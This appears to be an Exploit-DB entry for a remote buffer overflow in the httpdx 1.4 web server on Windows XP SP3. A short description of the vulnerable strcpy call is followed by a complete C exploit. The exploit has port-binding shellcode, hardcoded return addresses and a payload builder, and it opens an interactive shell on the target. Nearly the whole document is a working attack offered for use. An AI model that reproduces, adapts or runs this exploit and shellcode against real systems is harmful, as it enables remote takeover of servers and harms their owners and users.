httpdx 1.4 - GET Buffer Overflow

EDB-ID:

10053




Platform:

Windows

Date:

2009-10-08


httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);

Other versions may also be vulnerable.

Exploit (0day) (Tested with httpdx 1.4 on WinXP SP3)


#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

/* 128 byte portbinding shellcode (for WinXP SP3) port 58821
   Derived from shellcode written by silicon */
unsigned char bindcode[] =
"\x89\xE5"
"\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06"
"\x6A\x01\x6A\x02\xB8"
"\x6A\x8B\xAB\x71" // WSASocketA()
"\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"
"\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\xE5"
"\xC5\x6A\x10\x8D\x55\xF0\x52\x53\xB8"
"\x80\x44\xAB\x71" // bind()
"\xFF\xD0\x6A\x01\x53\xB8"
"\xD3\x8C\xAB\x71" // listen()
"\xFF\xD0\x33\xC0\x50\x50\x53\xB8"
"\x40\x10\xAC\x71" // accept()
"\xFF\xD0\x8B\xD8\xBA"
"\x7B\xD3\x81\x7C" // SetStdHandle()
"\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"
"\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63"
"\x6D\x64\x8D\x45\xFC\x50\xB8"
"\xC7\x93\xC2\x77" // system()
"\xFF\xD0"
"\x31\xC0\x50\xB8"
"\x12\xCB\x81\x7C" // ExitProcess()
"\xFF\xD0";


/* ripped from TESO code */
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("\n - Connection closed by local user\n");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("\n - Connection closed by remote host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("\n - Read failure\n");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


int main(int argc, char **argv)
{
	char buff[1100];
	long ret1 = 0x64f8134b;	// pop ret (core.dll)
	long addr = 0x63b8624f;	// Required to reach ret instruction
	long ret2 = 0x7c874413;	// jmp esp (kernel32.dll)
	long *ptr;
	struct sockaddr_in target;
	int i, port, sock;


	printf("\n---------------------------------------------------------------------\n");
	printf("  [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) \n");
	printf("  [*] Written and discovered by Pankaj Kohli <http://www.pank4j.com> \n");
	printf("  [*] Tested with httpdx 1.4 on Windows XP SP3 \n\n");

	if(argc < 3)
	{
        	printf("[-] Usage: %s  <Target IP> <Port>\n\n", argv[0]);
        	exit(1);
	}

	port = atoi(argv[2]);
	printf("[+] Creating payload \n");

	memset(buff, 0, 1024);
	strcpy(buff, "GET /abc=");
        memset(buff+9, 'A', 616);
        ptr = (long *) (buff + 625);
        *ptr = ret1;
        ptr++;
        *ptr = addr;
        ptr++;
        *ptr = ret2;
        ptr++;
        *ptr = 0;
	strcat(buff, bindcode);
	memset(buff+765, 'A', 244);
	buff[1009] = 0;
	strcat(buff, " HTTP/1.1\r\nHost: 192.168.2.1\r\n\r\n");
	
	printf("[+] Connecting to %s on port %s \n", argv[1], argv[2]);
	target.sin_family = AF_INET;
	target.sin_addr.s_addr = inet_addr(argv[1]);
	target.sin_port = htons(port);

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("[-] Socket \n");
		return(1);
	}

	if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
	{
		perror("[-] Connect \n");
		return(1);
	}

	printf("[+] Sending payload \n");
	if (send(sock, buff, strlen(buff), 0)== -1)
	{
		perror("[-] Send \n");
		return(1);
	}

	close(sock);
	sleep(1);
    
	target.sin_family = AF_INET;
	target.sin_addr.s_addr = inet_addr(argv[1]);
	target.sin_port = htons(58821);

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("[-] Socket \n");
		return(1);
	}
    
	if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
	{
		printf("[-] Exploit failed. \n");
		return(1);
	}   
   
	printf("\n[+] Dropping to shell \n\n");
	shell(sock);
	return 0;
}